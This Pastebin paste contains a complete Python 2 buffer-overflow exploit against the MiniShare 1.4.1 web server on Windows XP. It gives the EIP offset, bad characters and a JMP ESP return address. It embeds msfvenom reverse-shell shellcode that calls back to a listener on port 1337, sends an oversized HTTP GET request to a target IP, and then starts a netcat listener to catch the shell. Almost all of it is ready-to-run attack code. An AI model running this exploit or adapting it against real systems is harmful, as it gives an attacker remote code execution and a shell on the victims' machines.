UY-Scuti

Untitled

Jul 16th, 2019
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.08 KB | None | 0 0
  1. #!/usr/share/python
  2. #-----------------------------------------------------------------------------------------------------------#
  3. # Software = MiniShare Version 1.4.1 #
  4. # Download Link = https://www.exploit-db.com/apps/0ffe5385147edd1f9e7b460c6d7cb0a6-minishare-1.4.1.zip #
  5. # Date = 12/18/2017 #
  6. # Reference = http://www.securityfocus.com/bid/11620/discuss #
  7. # Author = @ihack4falafel #
  8. # Tested on = Windows XP SP3 - Professional #
  9. # EIP Offset = 1787 #
  10. # Badchars = "\x00\x0d\" #
  11. # RET Address = 0x7e429353 : "\xFF\xE4" | [USER32.dll] #
  12. # Usage = python exploit.py <target IP> #
  13. #-----------------------------------------------------------------------------------------------------------#
  14.  
  15. import sys
  16. import socket
  17. import time
  18. import struct
  19. import subprocess
  20.  
  21. #---------------#---------#
  22. W = '\033[0m' # White #
  23. R = '\033[31m' # Red #
  24. G = '\033[32m' # Green #
  25. O = '\033[33m' # Orange #
  26. B = '\033[34m' # Blue #
  27. P = '\033[35m' # Purple #
  28. C = '\033[36m' # Cyan #
  29. M = '\033[35m' # Magenta #
  30. Y = '\033[33m' # Yellow #
  31. #---------------#---------#
  32.  
  33. if len(sys.argv) < 2:
  34. print Y+ "Usage :" + P+ " python exploit.py <target IP>" +W
  35. print Y+ "Example :" + P+ " python exploit.py 127.0.0.1 " +W
  36. sys.exit(0)
  37.  
  38. HOST = sys.argv[1]
  39.  
  40. #-----------------------------------------------------------------------------------------------------------#
  41. # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.199.151 LPORT=1337 -b "\x00\x0d" -f python -v payload #
  42. #-----------------------------------------------------------------------------------------------------------#
  43.  
  44. payload = ""
  45. payload += "\xda\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xbb\x06\x2b"
  46. payload += "\x6e\x10\xb1\x52\x31\x58\x17\x03\x58\x17\x83\xee"
  47. payload += "\xd7\x8c\xe5\x12\xcf\xd3\x06\xea\x10\xb4\x8f\x0f"
  48. payload += "\x21\xf4\xf4\x44\x12\xc4\x7f\x08\x9f\xaf\xd2\xb8"
  49. payload += "\x14\xdd\xfa\xcf\x9d\x68\xdd\xfe\x1e\xc0\x1d\x61"
  50. payload += "\x9d\x1b\x72\x41\x9c\xd3\x87\x80\xd9\x0e\x65\xd0"
  51. payload += "\xb2\x45\xd8\xc4\xb7\x10\xe1\x6f\x8b\xb5\x61\x8c"
  52. payload += "\x5c\xb7\x40\x03\xd6\xee\x42\xa2\x3b\x9b\xca\xbc"
  53. payload += "\x58\xa6\x85\x37\xaa\x5c\x14\x91\xe2\x9d\xbb\xdc"
  54. payload += "\xca\x6f\xc5\x19\xec\x8f\xb0\x53\x0e\x2d\xc3\xa0"
  55. payload += "\x6c\xe9\x46\x32\xd6\x7a\xf0\x9e\xe6\xaf\x67\x55"
  56. payload += "\xe4\x04\xe3\x31\xe9\x9b\x20\x4a\x15\x17\xc7\x9c"
  57. payload += "\x9f\x63\xec\x38\xfb\x30\x8d\x19\xa1\x97\xb2\x79"
  58. payload += "\x0a\x47\x17\xf2\xa7\x9c\x2a\x59\xa0\x51\x07\x61"
  59. payload += "\x30\xfe\x10\x12\x02\xa1\x8a\xbc\x2e\x2a\x15\x3b"
  60. payload += "\x50\x01\xe1\xd3\xaf\xaa\x12\xfa\x6b\xfe\x42\x94"
  61. payload += "\x5a\x7f\x09\x64\x62\xaa\x9e\x34\xcc\x05\x5f\xe4"
  62. payload += "\xac\xf5\x37\xee\x22\x29\x27\x11\xe9\x42\xc2\xe8"
  63. payload += "\x7a\xad\xbb\x35\xed\x45\xbe\xb9\x17\xaf\x37\x5f"
  64. payload += "\x7d\xdf\x11\xc8\xea\x46\x38\x82\x8b\x87\x96\xef"
  65. payload += "\x8c\x0c\x15\x10\x42\xe5\x50\x02\x33\x05\x2f\x78"
  66. payload += "\x92\x1a\x85\x14\x78\x88\x42\xe4\xf7\xb1\xdc\xb3"
  67. payload += "\x50\x07\x15\x51\x4d\x3e\x8f\x47\x8c\xa6\xe8\xc3"
  68. payload += "\x4b\x1b\xf6\xca\x1e\x27\xdc\xdc\xe6\xa8\x58\x88"
  69. payload += "\xb6\xfe\x36\x66\x71\xa9\xf8\xd0\x2b\x06\x53\xb4"
  70. payload += "\xaa\x64\x64\xc2\xb2\xa0\x12\x2a\x02\x1d\x63\x55"
  71. payload += "\xab\xc9\x63\x2e\xd1\x69\x8b\xe5\x51\x99\xc6\xa7"
  72. payload += "\xf0\x32\x8f\x32\x41\x5f\x30\xe9\x86\x66\xb3\x1b"
  73. payload += "\x77\x9d\xab\x6e\x72\xd9\x6b\x83\x0e\x72\x1e\xa3"
  74. payload += "\xbd\x73\x0b"
  75.  
  76. #----------------------------#
  77. # Buffer Structure #
  78. #----------------------------#
  79. # buffer = AAA...........AAA #
  80. # buffer = EIP - RET Address #
  81. # buffer = NOPSled #
  82. # buffer = payload #
  83. # buffer = BBB...........BBB #
  84. #----------------------------#
  85.  
  86. buffer = "GET "
  87. buffer += "A" * 1787
  88. buffer += struct.pack('<L', 0x7e429353)
  89. buffer += "\x90" * 40
  90. buffer += payload
  91. buffer += "B" * (2500-4-1787-4-40-len(payload)-13)
  92. buffer += " HTTP/1.1\r\n\r\n"
  93.  
  94. try:
  95. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  96. s.connect((HOST, 80))
  97. print G+ "[+]" +W + " Connected to MiniShare Server with IP: %s and port: 80" %(HOST)
  98. print G+ "[+]" +W + " Sending %s bytes of evil payload" %len(buffer)
  99. time.sleep(1)
  100. s.send(buffer)
  101. print G+ "[+]" + P+ " Incoming shell on port 1337" + Y+ " <(^,^)>" +W
  102. subprocess.call(['nc -lnvp 1337'], shell=True)
  103. except Exception,msg:
  104. print R+ "[-]" + P+ " Could not connect to MiniShare Server" + Y+ " (._.)" +W
  105. sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment